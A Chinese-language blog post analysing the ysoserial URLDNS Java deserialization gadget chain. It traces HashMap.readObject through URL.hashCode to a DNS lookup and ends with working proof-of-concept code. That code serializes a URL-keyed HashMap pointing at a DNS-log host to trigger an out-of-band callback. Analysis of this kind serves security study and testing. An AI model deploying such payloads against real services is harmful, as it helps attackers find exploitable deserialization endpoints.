ysoserial URLDNS利用链分析

在分析URLDNS之前，必须了解JAVA序列化和反序列化的基本概念。其中几个重要的概念：

需要让某个对象支持序列化机制，就必须让其类是可序列化，为了让某类可序列化的，该类就必须实现如下两个接口之一：

Serializable：标记接口，没有方法

Externalizable：该接口有方法需要实现，一般不用这种

 

序列化对象时，默认将里面所有属性都进行序列化，但除了static或transient修饰的成员。

序列化具备可继承性，也就是如果某类已经实现了序列化，则它的所有子类也已经默认实现了序列化。

 

序列化和反序列化的类：

ObjectOutputStream：提供序列化功能

ObjectInputStream：提供反序列化功能

 

序列化方法：

.writeObject()

反序列化方法：

.readObject()

 

既然反序列化方法.readObject()，所以通常会在类中重写该方法，为实现反序列化的时候自动执行。

 

做个简单测试：

public class Urldns implements Serializable {
    public static void main(String[] args) throws Exception {
        Urldns urldns = new Urldns();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
        objectOutputStream.writeObject(urldns);
    }

    public void run(){
        System.out.println("urldns run");
    }

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        System.out.println("urldns readObject");
        s.defaultReadObject();
    }
}

对这个测试类Urldns做序列化后，反序列化的时候执行了重写的readobject方法。

import java.io.*;

public class Serializable_run implements Serializable{
    public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.readObject();
    }

    public static void main(String[] args) throws Exception {
        Serializable_run serializable_run = new Serializable_run();
        serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
    }
}

所以只要对readobject方法做重写就可以实现在反序列化该类的时候得到执行。

利用链的思路大致如此，那么分析URLDNS的利用链。

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

该类实际返回HashMap类型，但是HashMap用来用来存储数据的数组是transient，序列化时忽略数据。

因为HashMap重写了writeobject方法，在writeobject实现了对数据的序列化。

还存在重写readobject方法，那么分析readobject中的内容。方法中遍历key值执行putVal方法。

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

触发：

putVal(hash(key), key, value, false, false);

触发：

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里的key对象如果是URL对象，那么就

触发：URL类中的hashCode方法

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

触发DNS请求：

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

在hashCode=-1的时候，可以触发DNS请求，而hashCode私有属性默认值为-1。

所以为了实现readobject方法的DNS请求，接下来要做的是：

1、制造一个HashMap对象，且key值为URL对象；

2、保持私有属性hashcode为-1；

所以构造DNS请求的HashMap对象内容应该是：

public class Urldns implements Serializable {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
        Class<?> aClass = Class.forName("java.net.URL");
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,1);
        map.put(url, "xzjhlk");
        hashCode.set(url,-1);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
        objectOutputStream.writeObject(map);
    }
}

至于为什么在序列化的时候要通过反射将url对象中的hashCode属性稍微非-1，是因为hashCode的put方法也实际调用的是putVal(hash(key), key, value, false, true);

这个过程将触发一次DNS请求。